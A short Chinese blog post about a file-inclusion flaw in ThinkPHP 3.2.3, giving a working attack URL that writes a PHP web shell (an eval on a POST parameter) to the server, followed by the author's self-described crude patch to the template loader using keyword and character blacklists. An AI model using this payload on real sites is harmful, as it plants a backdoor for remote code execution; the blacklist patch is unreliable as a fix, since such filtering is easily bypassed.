thinkphp 3.2.3 包含任意 文件 的漏洞,这个太多了,我就不详细了解了

攻击的代码 

http://localhost/ index.php?a=fetch&templateFile=public/index&prefix=%27%27&content=%3Cphp%3Efile_put_contents(%2782.php%27,%27%3C?php%20@eval($_POST[shell]);%20?%3E%27)%3C/php%3E

 

 

 找到文件 

ThinkPHP/Core/Library/Think/Template.class.php 

加入以下代码:
public function loadTemplate ($templateFile,$prefix='') {
        $templateFile = strip_tags($templateFile);// 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
        $templateFile = preg_replace('/\s+/', '', $templateFile);//去除所有空格以便下一步处理。
        $templateFile = str_ireplace(array('(',')','\'','\"',',','http://',), array(''), $templateFile);//以防万一,http、与文件路径无关的字符串都过滤掉。已经将函数括号已经被去掉破坏了。
        $templateFile = str_ireplace(array('file_put_contents','fwrite','\'','\"',',','http://',), array(''), $templateFile);
        if(is_file($templateFile)) {
            $this->templateFile    =  $templateFile;
            // 读取模板文件内容
            $tmplContent =  file_get_contents($templateFile);
        }else{
            $tmplContent =  $templateFile;
        }
         // 根据模版文件名定位缓存文件
        $tmplCacheFile = $this->config['cache_path'].$prefix.md5($templateFile).$this->config['cache_suffix'];

        // 判断是否启用布局
        if(C('LAYOUT_ON')) {
            if(false !== strpos($tmplContent,'{__NOLAYOUT__}')) { // 可以单独定义不使用布局
                $tmplContent = str_replace('{__NOLAYOUT__}','',$tmplContent);
            }else{ // 替换布局的主体内容
                $layoutFile  =  THEME_PATH.C('LAYOUT_NAME').$this->config['template_suffix'];
                // 检查布局文件
                if(!is_file($layoutFile)) {
                    E(L('_TEMPLATE_NOT_EXIST_').':'.$layoutFile);
                }
                $tmplContent = str_replace($this->config['layout_item'],$tmplContent,file_get_contents($layoutFile));
            }
        }
       
        // 编译模板内容
        $tmplContent =  $this->compiler($tmplContent);
        Storage::put($tmplCacheFile,trim($tmplContent),'tpl');
        return $tmplCacheFile;
    }

很山寨的解决了

posted @ 2022-09-02 17:58  jackluo  阅读(1613)  评论(0编辑  收藏  举报